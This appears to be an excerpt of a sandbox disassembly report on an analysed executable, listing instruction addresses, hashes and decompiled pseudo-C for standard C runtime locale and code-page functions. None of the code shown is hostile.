0x001c2f1d
0x001c2f1f
0x001c2f25
0x001c2f2b
0x001c2f2d
0x001c2f33
0x001c2f3a
0x001c2f3a
0x001c2f3c
0x001c2f3c
0x001c2f49
0x001c2f50
0x001c2f56
0x001c2f59
0x001c2f5a
0x001c2f60
0x001c2f60
0x001c2f64
0x001c2f66
0x001c2f6c
0x001c2f72
0x001c2f75
0x00000000
0x001c2f7b
0x001c2f7b
0x001c2f82
0x001c2f82
0x001c2f75
0x001c2f66
0x001c2f2d
0x001c2ebb
0x001c2ebb
0x001c2ebd
0x001c2ec3
0x001c2ec9
0x00000000
0x001c2ec9
0x001c2eb9
0x001c2aad
0x001c2aad
0x001c2aad
0x001c2ab0
0x001c2ab4
0x001c2ab4
0x001c2ab5
0x001c2ac7
0x001c2ad4
0x001c2ae3
0x001c2b0d
0x001c2b12
0x001c2b18
0x001c2b1b
0x001c2b21
0x001c2b23
0x001c2bf5
0x001c2bfb
0x001c2cdb
0x001c2ce1
0x001c2ce7
0x001c2ce7
0x001c2ce7
0x001c2cea
0x001c2cec
0x001c2cec
0x001c2cf2
0x001c2cf8
0x001c2cfa
0x001c2d16
0x001c2d22
0x001c2d28
0x001c2d2e
0x001c2cfc
0x001c2d02
0x001c2d0e
0x001c2d0e
0x001c2d34
0x001c2d36
0x001c2d38
0x001c2d3e
0x001c2d40
0x001c2e58
0x001c2e58
0x001c2e5e
0x001c2e63
0x001c2e63
0x001c2e66
0x001c2e67
0x00000000
0x001c2d46
0x001c2d46
0x001c2d46
0x001c2d4a
0x001c2d6a
0x001c2d6c
0x001c2d6e
0x001c2d74
0x001c2d7a
0x001c2d80
0x001c2d86
0x001c2d88
0x001c2d88
0x001c2d8b
0x00000000
0x00000000
0x001c2d8d
0x001c2d8f
0x001c2d91
0x001c2d99
0x001c2d9c
0x001c2d9c
0x001c2d9e
0x001c2d9e
0x001c2daa
0x001c2dad
0x001c2db3
0x001c2dc3
0x001c2dcc
0x001c2dd3
0x001c2dd9
0x001c2ddc
0x001c2ddd
0x001c2de3
0x001c2de4
0x001c2dea
0x001c2df0
0x00000000
0x00000000
0x00000000
0x001c2df0
0x001c2df2
0x001c2df4
0x001c2dfc
0x001c2dff
0x001c2e05
0x001c2e05
0x001c2e08
0x00000000
0x00000000
0x001c2e0a
0x001c2e0c
0x001c2e0e
0x001c2e0e
0x001c2e11
0x001c2e14
0x001c2e14
0x001c2e1a
0x001c2e21
0x001c2e23
0x001c2e24
0x001c2e26
0x001c2e26
0x001c2e28
0x001c2e2e
0x001c2e30
0x001c2e32
0x00000000
0x001c2e32
0x00000000
0x001c2e30
0x001c2e05
0x001c2e3a
0x001c2e3a
0x001c2e3a
0x001c2e40
0x001c2e43
0x001c2ecc
0x001c2ece
0x001c2ed3
0x001c2ed9
0x001c2edf
0x001c2ee0
0x00000000
0x001c2e49
0x001c2e49
0x00000000
0x001c2e49
0x001c2d4c
0x001c2d4c
0x001c2d4e
0x001c2d54
0x001c2d5c
0x001c2d5c
0x001c2d5f
0x001c2d5f
0x00000000
0x001c2d4e
0x00000000
0x001c2e4f
0x001c2e4f
0x001c2e50
0x001c2e50
0x00000000
0x001c2d46
0x001c2c01
0x001c2c01
0x001c2c0c
0x001c2c18
0x001c2c25
0x001c2c2d
0x001c2c32
0x001c2c35
0x001c2c37
0x001c2c53
0x001c2c55
0x00000000
0x001c2c5b
0x001c2c5b
0x001c2c62
0x00000000
0x001c2c68
0x001c2c6e
0x001c2c70
0x001c2c76
0x001c2c76
0x001c2c78
0x001c2c78
0x001c2c7e
0x001c2c87
0x001c2c8e
0x001c2c91
0x001c2c92
0x001c2c94
0x001c2c94
0x001c2c9c
0x001c2c9e
0x00000000
0x001c2ca4
0x001c2ca4
0x001c2caa
0x001c2cad
0x001c2cc3
0x001c2cc9
0x001c2ccf
0x001c2cd0
0x001c2ee6
0x001c2ee6
0x001c2eed
0x001c2eee
0x001c2eef
0x001c2ef4
0x001c2ef7
0x001c2caf
0x001c2caf
0x001c2cb6
0x00000000
0x001c2cb6
0x001c2cad
0x001c2c9e
0x001c2c62
0x001c2c39
0x001c2c3b
0x001c2c41
0x001c2c47
0x001c2c48
0x001c2e6d
0x001c2e6d
0x001c2e74
0x001c2e75
0x001c2e76
0x001c2e7b
0x001c2e7e
0x001c2e7e
0x001c2e7e
0x001c2c37
0x001c2b29
0x001c2b29
0x001c2b2f
0x001c2b31
0x001c2b69
0x001c2b6b
0x00000000
0x001c2b6d
0x001c2b6d
0x001c2b74
0x00000000
0x001c2b76
0x001c2b7c
0x001c2b7e
0x001c2b84
0x001c2b84
0x001c2b86
0x001c2b86
0x001c2b88
0x001c2b91
0x001c2b98
0x001c2b9b
0x001c2b9c
0x001c2b9e
0x001c2b9e
0x001c2ba6
0x001c2ba8
0x00000000
0x001c2baa
0x001c2baa
0x001c2bb0
0x001c2bb3
0x001c2bc7
0x001c2bcd
0x001c2be6
0x001c2beb
0x001c2bee
0x00000000
0x001c2bb5
0x001c2bb5
0x001c2bbc
0x00000000
0x001c2bbc
0x001c2bb3
0x001c2ba8
0x001c2b74
0x00000000
0x001c2b33
0x001c2b33
0x001c2b36
0x001c2b3c
0x001c2b55
0x001c2b5a
0x001c2b5d
0x001c2b5d
0x001c2b5d
0x001c2b5f
0x001c2b5f
0x001c2b5f
0x001c2e80
0x001c2e80
0x001c2e82
0x001c2efb
0x001c2f02
0x001c2f02
0x001c2f02
0x001c2f09
0x001c2f0b
0x001c2f11
0x001c2f12
0x001c3469
0x001c3469
0x001c346a
0x001c346b
0x001c3470
0x00000000
0x00000000
0x00000000
0x00000000
0x001c2e84
0x001c2e8a
0x001c2e8a
0x001c2e90
0x001c2e90
0x001c2e9c
0x00000000
0x001c2e9c
0x001c2aa7
0x001c3473
0x001c3473
0x001c3479
0x001c347f
0x001c3485
0x001c3487
0x001c3489
0x001c3490
0x001c3490
0x001c3492
0x001c3492
0x001c349b
0x001c349c
0x001c34a4
0x001c34ab
0x001c34ae
0x001c34af
0x001c34b5
0x001c34b5
0x001c34b9
0x001c34bf
0x001c34c1
0x001c34c3
0x001c34c9
0x001c34cc
0x001c34dd
0x001c34e0
0x001c34e6
0x001c34fb
0x001c3500
0x001c34ce
0x001c34ce
0x001c34d5
0x001c34d5
0x001c34cc
0x001c34c1
0x001c3511
0x001c3518
0x001c3520
0x001c3521
0x001c3523
0x001c368d
0x001c368f
0x001c369f
0x001c36a2
0x001c36a4
0x00000000
0x001c3691
0x001c3697
0x00000000
0x001c3697
0x00000000
0x001c3529
0x001c3529
0x001c352f
0x001c3532
0x001c3538
0x001c353b
0x001c3541
0x001c3547
0x001c3549
0x001c354b
0x001c354d
0x001c354d
0x001c354f
0x001c354f
0x001c355c
0x001c3563
0x001c3566
0x001c3567
0x001c3569
0x001c356a
0x001c356a
0x001c3572
0x001c3578
0x001c357a
0x001c3580
0x001c3582
0x001c3588
0x001c358b
0x001c3665
0x001c366b
0x001c3680
0x001c3685
0x001c3591
0x001c3597
0x001c359e
0x001c359e
0x001c359e
0x001c359e
0x001c358b
0x001c35a4
0x001c35a4
0x001c35aa
0x001c35aa
0x001c35aa
0x001c35b0
0x001c35b6
0x001c35b9
0x001c35bf
0x001c35c1
0x001c35c3
0x001c35c9
0x001c35cb
0x001c35cf
0x001c35d1
0x001c35d1
0x001c35d1
0x001c35cf
0x001c35c9
0x001c35d6
0x001c35d7
0x001c35d9
0x001c35db
0x001c35db
0x001c35dd
0x001c35df
0x001c35e1
0x001c35e7
0x001c35ed
0x001c35ef
0x001c35f5
0x001c35f5
0x001c35fb
0x001c3601
0x001c3603
0x00000000
0x00000000
0x001c3609
0x001c360b
0x001c360b
0x001c360d
0x001c360d
0x001c3619
0x001c361d
0x001c3624
0x001c3627
0x001c3628
0x001c362a
0x001c362a
0x001c3632
0x001c3638
0x001c363a
0x001c3640
0x001c3646
0x001c364c
0x001c364f
0x001c36af
0x001c36b2
0x001c36b8
0x001c36cd
0x001c36d2
0x001c3651
0x001c3653
0x001c365a
0x001c365a
0x001c364f
0x001c36e3
0x001c36f0
0x001c36fa
0x001c36fa
0x001c36fc
0x001c3704
0x001c370a
0x001c370d
0x001c3713
0x001c3715
0x001c3726
0x00000000
0x001c3717
0x001c3717
0x001c371a
0x001c3729
0x001c3729
0x001c371c
0x001c371c
0x001c371e
0x001c371e
0x001c371a
0x001c372f
0x001c3730
0x001c3736
0x001c3739
0x001c3739
0x001c3741
0x001c3744
0x001c3748
0x001c3748
0x001c3749
0x001c374b
0x001c3751
0x001c3757
0x00000000
0x00000000
0x00000000
0x001c3757
0x001c35f5
0x001c375d
0x001c375d
0x001c3760
0x001c3767
0x00000000
0x001c3769
0x001c3769
0x001c376b
0x00000000
0x00000000
0x001c376b
0x00000000
0x001c2352
0x001c2352
0x001c2358
0x001c235b
0x001c235b
0x001c235e
0x001c23ae
0x001c23b6
0x001c23b8
0x00000000
0x001c23be
0x001c376d
0x001c376d
0x001c376d
0x00000000
0x001c376d
0x001c2360
0x001c2360
0x001c2360
0x001c2363
0x001c237d
0x00000000
0x001c2365
0x001c2365
0x001c2365
0x001c2368
0x001c2376
0x00000000
0x001c236a
0x001c236a
0x001c236d
0x00000000
0x001c236f
0x001c236f
0x00000000
0x001c236f
0x001c236d
0x001c2368
0x001c2363
0x001c235e
0x001c2318
0x001c231d
0x001c2325
0x001c2339
0x001c233e
0x001c2382
0x001c2382
0x001c2385
0x001c2395
0x001c3796
0x001c3798
0x001c3799
0x001c379a
0x001c379b
0x001c379c
0x001c379d
0x001c37a2
0x001c37a5
0x001c37a8
0x001c37ab
0x001c37ad
0x001c37be
0x001c37c1
0x001c37c3
0x001c37c9
0x001c37cf
0x001c37d5
0x001c37d6
0x001c37d7
0x001c37dd
0x001c37e6
0x001c37ec
0x001c3804
0x001c380a
0x00000000
0x001c380c
0x001c380c
0x001c3812
0x00000000
0x001c3814
0x001c3814
0x001c3816
0x00000000
0x001c3816
0x001c3812
0x001c37ee
0x001c37ee
0x001c37f4
0x001c37fe
0x001c37fe
0x001c3800
0x001c3818
0x001c3818
0x00000000
0x001c37f6
0x001c37f6
0x001c37fc
0x001c3842
0x001c3848
0x00000000
0x00000000
0x00000000
0x001c37fc
0x001c37f4
0x001c37df
0x001c37e1
0x001c3819
0x001c3819
0x001c381a
0x001c381c
0x001c381c
0x001c381e
0x001c3825
0x001c3828
0x001c3828
0x001c3828
0x001c3836
0x001c3838
0x001c383f
0x001c3852
0x001c37d1
0x001c37d1
0x00000000
0x001c37d1
0x001c37c5
0x001c37c5
0x00000000
0x001c37c5
0x001c37af
0x001c37af
0x001c37af
0x001c37b1
0x001c37b1
0x001c37b4
0x001c37b6
0x001c37b9
0x001c37bb
0x001c37bd
0x001c37bd
0x001c239b
0x001c376f
0x001c376f
0x001c3776
0x001c3777
0x001c3778
0x001c3781
0x001c3786
0x001c378e
0x001c3795
0x001c3795
0x00000000
0x00000000
0x00000000
0x001c2325

APIs

__floor_pentium4.LIBCMT ref: 001C244E

Strings

1#QNAN, xrefs: 001C237D
1#INF, xrefs: 001C23A0
1#SNAN, xrefs: 001C2376
1#IND, xrefs: 001C236F

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 8dbc30d3b58c791dada1afa04cec76b12bbf0834437db222b81a5d065d8938c6
Instruction ID: b5e3470df69214a3a28026f5b720ca2c96aa67e76f4252ce11a8747d6c0bd65a
Opcode Fuzzy Hash: 8dbc30d3b58c791dada1afa04cec76b12bbf0834437db222b81a5d065d8938c6
Instruction Fuzzy Hash: 48D21971E082288FDB65CE28DD40BEAB7B5EB64304F1541EED45EE7240DB78AE858F41

Uniqueness

Uniqueness Score: -1.00%

Function 001C16E3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E001C16E3(void* __ecx, signed int _a4, intOrPtr _a8) {
				short _v8;
				short _t17;
				signed int _t18;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t36;
				intOrPtr* _t37;

				_t23 = _a4;
				if(_t23 == 0) {
					L21:
					if(GetLocaleInfoW( *(_a8 + 8), 0x20001004,  &_v8, 2) != 0) {
						_t17 = _v8;
						if(_t17 == 0) {
							_t17 = GetACP();
						}
						L25:
						return _t17;
					}
					L22:
					_t17 = 0;
					goto L25;
				}
				_t18 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t36 = L"ACP";
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t36) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t18;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t37 = L"OCP";
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t37) {
								break;
							}
							if(_t31 == 0) {
								L17:
								if(_t18 != 0) {
									_t17 = E001B629E(_t23);
									goto L25;
								}
								if(GetLocaleInfoW( *(_a8 + 8), 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t17 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t37 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t37 = _t37 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t18 = _t18 | 0x00000001;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t36 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t36 = _t36 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				goto L9;
			}

0x001c16e9
0x001c16f0
0x001c1794
0x001c17ad
0x001c17b3
0x001c17b8
0x001c17ba
0x001c17ba
0x001c17c0
0x001c17c3
0x001c17c3
0x001c17af
0x001c17af
0x00000000
0x001c17af
0x001c16f6
0x001c16fb
0x00000000
0x00000000
0x001c1701
0x001c1706
0x001c1708
0x001c1708
0x001c170e
0x00000000
0x00000000
0x001c1713
0x001c172a
0x001c172a
0x001c1733
0x001c1735
0x00000000
0x00000000
0x001c1737
0x001c173c
0x001c173e
0x001c173e
0x001c1744
0x00000000
0x00000000
0x001c1749
0x001c1767
0x001c1769
0x001c178c
0x00000000
0x001c1791
0x001c1784
0x00000000
0x00000000
0x001c1786
0x00000000
0x001c1786
0x001c174b
0x001c1753
0x00000000
0x00000000
0x001c1755
0x001c1758
0x001c175e
0x00000000
0x00000000
0x00000000
0x001c1760
0x001c1762
0x001c1764
0x00000000
0x001c1764
0x001c1715
0x001c171d
0x00000000
0x00000000
0x001c171f
0x001c1722
0x001c1728
0x00000000
0x00000000
0x00000000
0x001c1728
0x001c172e
0x001c1730
0x00000000

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,001C1A01,00000002,00000000,?,?,?,001C1A01,?,00000000), ref: 001C177C
GetLocaleInfoW.KERNEL32(?,20001004,001C1A01,00000002,00000000,?,?,?,001C1A01,?,00000000), ref: 001C17A5
GetACP.KERNEL32(?,?,001C1A01,?,00000000), ref: 001C17BA

Strings

ACP, xrefs: 001C1701
OCP, xrefs: 001C1737

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: fd52426364fb594c69dc67fca05c0b54c0a297be6e458f632fd3ed99b37f2580
Instruction ID: 16ee9852eb94ae255345a49609c8fdc9f0cd08d5fc640ae671b8afc7b4c16d8b
Opcode Fuzzy Hash: fd52426364fb594c69dc67fca05c0b54c0a297be6e458f632fd3ed99b37f2580
Instruction Fuzzy Hash: 4B217136680300B6DB348F55CA05FA777A7AB72F90B56846CE90AD7542E732DD41C790

Uniqueness

Uniqueness Score: -1.00%

Function 001C18B8 Relevance: 7.7, APIs: 5, Instructions: 183
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 87%

			E001C18B8(void* __ecx, void* __edx, signed short _a4, signed short* _a8, short* _a12) {
				signed int _v8;
				int _v12;
				int _v16;
				char _v20;
				signed short* _v24;
				signed short* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t39;
				void* _t45;
				signed short* _t46;
				signed short _t47;
				signed short _t48;
				int _t49;
				void* _t53;
				signed short* _t57;
				signed short _t70;
				intOrPtr _t73;
				void* _t75;
				signed short _t76;
				intOrPtr _t83;
				short* _t86;
				signed short _t89;
				signed short* _t99;
				void* _t100;
				signed short _t101;
				signed int _t104;
				void* _t105;

				_t39 =  *0x1d5010; // 0x8121a627
				_v8 = _t39 ^ _t104;
				_t86 = _a12;
				_t101 = _a4;
				_v28 = _a8;
				_v24 = E001B782A(__ecx, __edx, _t101) + 0x50;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t45 = E001B782A(__ecx, __edx, _t101);
				_t97 = 0;
				 *((intOrPtr*)(_t45 + 0x34c)) =  &_v20;
				_t89 = _t101 + 0x80;
				_t46 = _v24;
				 *_t46 = _t101;
				_t99 =  &(_t46[2]);
				 *_t99 = _t89;
				if(_t89 != 0 &&  *_t89 != 0) {
					_t83 =  *0x1cb7a4; // 0x17
					E001C1857(_t89, 0, 0x1cb690, _t83 - 1, _t99);
					_t46 = _v24;
					_t105 = _t105 + 0xc;
					_t97 = 0;
				}
				_v20 = _t97;
				_t47 =  *_t46;
				if(_t47 == 0 ||  *_t47 == _t97) {
					_t48 =  *_t99;
					if(_t48 == 0 ||  *_t48 == _t97) {
						_v20 = 0x104;
						_t49 = GetUserDefaultLCID();
						_v12 = _t49;
						_v16 = _t49;
					} else {
						E001C11F6(_t89, _t97,  &_v20);
						_pop(_t89);
					}
					goto L20;
				} else {
					_t70 =  *_t99;
					if(_t70 == 0 ||  *_t70 == _t97) {
						E001C12DC(_t89, _t97,  &_v20);
					} else {
						E001C1241(_t89, _t97,  &_v20);
					}
					_pop(_t89);
					if(_v20 != 0) {
						_t100 = 0;
						goto L25;
					} else {
						_t73 =  *0x1cb68c; // 0x41
						_t75 = E001C1857(_t89, _t97, 0x1cb380, _t73 - 1, _v24);
						_t105 = _t105 + 0xc;
						if(_t75 == 0) {
							L20:
							_t100 = 0;
							L21:
							if(_v20 != 0) {
								L25:
								asm("sbb esi, esi");
								_t101 = E001C16E3(_t89,  ~_t101 & _t101 + 0x00000100,  &_v20);
								if(_t101 == 0 || IsValidCodePage(_t101 & 0x0000ffff) == 0 || IsValidLocale(_v16, 1) == 0) {
									goto L22;
								} else {
									_t57 = _v28;
									if(_t57 != 0) {
										 *_t57 = _t101;
									}
									E001B8D2C(_v16,  &(_v24[0x128]), 0x55, _t100);
									if(_t86 == 0) {
										L34:
										_t53 = 1;
										L23:
										return E001A9545(_t53, _t86, _v8 ^ _t104, _t97, _t100, _t101);
									} else {
										_t33 =  &(_t86[0x90]); // 0xd0
										E001B8D2C(_v16, _t33, 0x55, _t100);
										if(GetLocaleInfoW(_v16, 0x1001, _t86, 0x40) == 0) {
											goto L22;
										}
										_t36 =  &(_t86[0x40]); // 0x30
										if(GetLocaleInfoW(_v12, 0x1002, _t36, 0x40) == 0) {
											goto L22;
										}
										_t38 =  &(_t86[0x80]); // 0xb0
										E001C4F5E(_t38, _t101, _t38, 0x10, 0xa);
										goto L34;
									}
								}
							}
							L22:
							_t53 = 0;
							goto L23;
						}
						_t76 =  *_t99;
						_t100 = 0;
						if(_t76 == 0 ||  *_t76 == 0) {
							E001C12DC(_t89, _t97,  &_v20);
						} else {
							E001C1241(_t89, _t97,  &_v20);
						}
						_pop(_t89);
						goto L21;
					}
				}
			}

0x001c18c0
0x001c18c7
0x001c18ce
0x001c18d2
0x001c18d6
0x001c18e4
0x001c18e9
0x001c18ea
0x001c18eb
0x001c18ec
0x001c18f4
0x001c18f6
0x001c18fc
0x001c1902
0x001c1905
0x001c1907
0x001c190a
0x001c190e
0x001c1915
0x001c1922
0x001c1927
0x001c192a
0x001c192d
0x001c192d
0x001c192f
0x001c1932
0x001c1936
0x001c19a6
0x001c19aa
0x001c19bd
0x001c19c4
0x001c19ca
0x001c19cd
0x001c19b1
0x001c19b5
0x001c19ba
0x001c19ba
0x00000000
0x001c193d
0x001c193d
0x001c1941
0x001c1957
0x001c1948
0x001c194c
0x001c194c
0x001c1960
0x001c1961
0x001c19e9
0x00000000
0x001c1967
0x001c1967
0x001c1976
0x001c197b
0x001c1980
0x001c19d0
0x001c19d0
0x001c19d2
0x001c19d6
0x001c19eb
0x001c19f7
0x001c1a01
0x001c1a07
0x00000000
0x001c1a26
0x001c1a26
0x001c1a2b
0x001c1a2d
0x001c1a2d
0x001c1a3e
0x001c1a45
0x001c1aa5
0x001c1aa7
0x001c19da
0x001c19e8
0x001c1a47
0x001c1a4a
0x001c1a54
0x001c1a6c
0x00000000
0x00000000
0x001c1a74
0x001c1a8b
0x00000000
0x00000000
0x001c1a95
0x001c1a9d
0x00000000
0x001c1aa2
0x001c1a45
0x001c1a07
0x001c19d8
0x001c19d8
0x00000000
0x001c19d8
0x001c1982
0x001c1984
0x001c1988
0x001c199e
0x001c198f
0x001c1993
0x001c1993
0x001c19a3
0x00000000
0x001c19a3
0x001c1961

APIs

Part of subcall function 001B782A: GetLastError.KERNEL32(?,00000008,001BDC99), ref: 001B782E
Part of subcall function 001B782A: SetLastError.KERNEL32(00000000,001D43C0,00000024,001B2DC9), ref: 001B78D0

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 001C19C4
IsValidCodePage.KERNEL32(00000000), ref: 001C1A0D
IsValidLocale.KERNEL32(?,00000001), ref: 001C1A1C
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 001C1A64
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 001C1A83

Memory Dump Source

Source File: 00000000.00000002.347566264.00000000001A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001A0000, based on PE: true

Associated: 00000000.00000002.347556970.00000000001A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347669983.00000000001C7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347813163.00000000001D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.347876847.0000000000204000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1a0000_file.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: eddfe3a4d02679e8506cab849c1d4b2406923338f2bf5953142d373fcb621710
Instruction ID: efcee534a162d1137a0ddaebfed7fe70648ed20aa817d76d684af278a37bb627
Opcode Fuzzy Hash: eddfe3a4d02679e8506cab849c1d4b2406923338f2bf5953142d373fcb621710
Instruction Fuzzy Hash: 47517C72A40209BBDB10EFA5CC51FAE77B8AF66704F54446EE904E7192E7B0DA40CB61

Uniqueness

Uniqueness Score: -1.00%

Function 001C0F54 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 70%

			E001C0F54(void* __ecx, void* __edx, intOrPtr* _a4, signed short* _a8, intOrPtr _a12) {
				intOrPtr* _v8;
				short _v12;
				signed int _v32;
				intOrPtr _v40;
				signed int _v52;
				char _v272;
				short _v292;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				short* _t34;
				intOrPtr* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed short _t39;
				signed short* _t42;
				intOrPtr _t45;
				void* _t47;
				signed int _t50;
				void* _t52;
				signed int _t56;
				void* _t68;
				void* _t72;
				void* _t73;
				void* _t77;
				intOrPtr* _t84;
				short* _t87;
				void* _t89;
				intOrPtr* _t92;
				intOrPtr* _t96;
				short _t114;
				void* _t115;
				intOrPtr* _t117;
				intOrPtr _t119;
				signed int* _t120;
				void* _t121;
				void* _t122;
				intOrPtr* _t123;
				signed short _t125;
				int _t127;
				void* _t128;
				void* _t131;
				signed int _t132;

				_push(__ecx);
				_push(__ecx);
				_push(_t122);
				_t117 = _a4;
				_t33 = E001B782A(__ecx, __edx, _t122);
				_t114 = 0;
				_v12 = 0;
				_t3 = _t33 + 0x50; // 0x50
				_t123 = _t3;
				_t4 = _t123 + 0x250; // 0x2a0
				_t34 = _t4;
				 *((intOrPtr*)(_t123 + 8)) = 0;
				 *_t34 = 0;
				_t6 = _t123 + 4; // 0x54
				_t84 = _t6;
				_v8 = _t34;
				_t92 = _t117;
				_t35 = _t117 + 0x80;
				 *_t123 = _t117;
				 *_t84 = _t35;
				if( *_t35 != 0) {
					E001C0EE7(0x1cb690, 0x16, _t84);
					_t92 =  *_t123;
					_t131 = _t131 + 0xc;
					_t114 = 0;
				}
				_push(_t123);
				if( *_t92 == _t114) {
					E001C0858(_t84, _t92);
					goto L12;
				} else {
					if( *((intOrPtr*)( *_t84)) == _t114) {
						E001C0978();
					} else {
						E001C08DF(_t92);
					}
					if( *((intOrPtr*)(_t123 + 8)) == 0) {
						_t77 = E001C0EE7(0x1cb380, 0x40, _t123);
						_t131 = _t131 + 0xc;
						if(_t77 != 0) {
							_push(_t123);
							if( *((intOrPtr*)( *_t84)) == 0) {
								E001C0978();
							} else {
								E001C08DF(0);
							}
							L12:
						}
					}
				}
				if( *((intOrPtr*)(_t123 + 8)) == 0) {
					L37:
					_t37 = 0;
					goto L38;
				} else {
					_t38 = _t117 + 0x100;
					if( *_t117 != 0 ||  *_t38 != 0) {
						_t39 = E001C0DA4(_t38, _t123);
					} else {
						_t39 = GetACP();
					}
					_t125 = _t39;
					if(_t125 == 0 || _t125 == 0xfde8 || IsValidCodePage(_t125 & 0x0000ffff) == 0) {
						goto L37;
					} else {
						_t42 = _a8;
						if(_t42 != 0) {
							 *_t42 = _t125;
						}
						_t119 = _a12;
						if(_t119 == 0) {
							L36:
							_t37 = 1;
							L38:
							return _t37;
						} else {
							_t96 = _v8;
							_t15 = _t119 + 0x120; // 0xd0
							_t87 = _t15;
							 *_t87 = 0;
							_t16 = _t96 + 2; // 0x6
							_t115 = _t16;
							do {
								_t45 =  *_t96;
								_t96 = _t96 + 2;
							} while (_t45 != _v12);
							_t18 = (_t96 - _t115 >> 1) + 1; // 0x3
							_t47 = E001BE13A(_t96 - _t115 >> 1, _t87, 0x55, _v8);
							_t132 = _t131 + 0x10;
							if(_t47 != 0) {
								L39:
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E001AFE70();
								asm("int3");
								_t130 = _t132;
								_t50 =  *0x1d5010; // 0x8121a627
								_v52 = _t50 ^ _t132;
								_push(_t87);
								_push(_t125);
								_t126 = _v40;
								_push(_t119);
								_t52 = E001B782A(_t98, _t115, _v40);
								_t88 = _t52;
								_t120 =  *(E001B782A(_t98, _t115, _v40) + 0x34c);
								_t127 = E001C168F(_t126);
								asm("sbb ecx, ecx");
								_t56 = GetLocaleInfoW(_t127, ( ~( *(_t52 + 0x64)) & 0xfffff005) + 0x1002,  &_v292, 0x78);
								if(_t56 != 0) {
									if(E001BDE74(_t120, _t127,  *((intOrPtr*)(_t88 + 0x54)),  &_v272) == 0 && E001C17C4(_t127) != 0) {
										 *_t120 =  *_t120 | 0x00000004;
										_t120[2] = _t127;
										_t120[1] = _t127;
									}
									_t62 =  !( *_t120 >> 2) & 0x00000001;
								} else {
									 *_t120 =  *_t120 & _t56;
									_t62 = _t56 + 1;
								}
								_pop(_t121);
								_pop(_t128);
								_pop(_t89);
								return E001A9545(_t62, _t89, _v32 ^ _t130, _t115, _t121, _t128);
							} else {
								if(E001B8C2E(_t87, 0x1001, _t119, 0x40) == 0) {
									goto L37;
								} else {
									_t20 = _t119 + 0x80; // 0x30
									_t87 = _t20;
									_t21 = _t119 + 0x120; // 0xd0
									if(E001B8C2E(_t21, 0x1002, _t87, 0x40) == 0) {
										goto L37;
									} else {
										_t68 = E001C663B(_t87, 0x5f);
										_pop(_t98);
										if(_t68 != 0) {
											L31:
											_t22 = _t119 + 0x120; // 0xd0
											if(E001B8C2E(_t22, 7, _t87, 0x40) == 0) {
												goto L37;
											} else {
												goto L32;
											}
										} else {
											_t73 = E001C663B(_t87, 0x2e);
											_pop(_t98);
											if(_t73 == 0) {
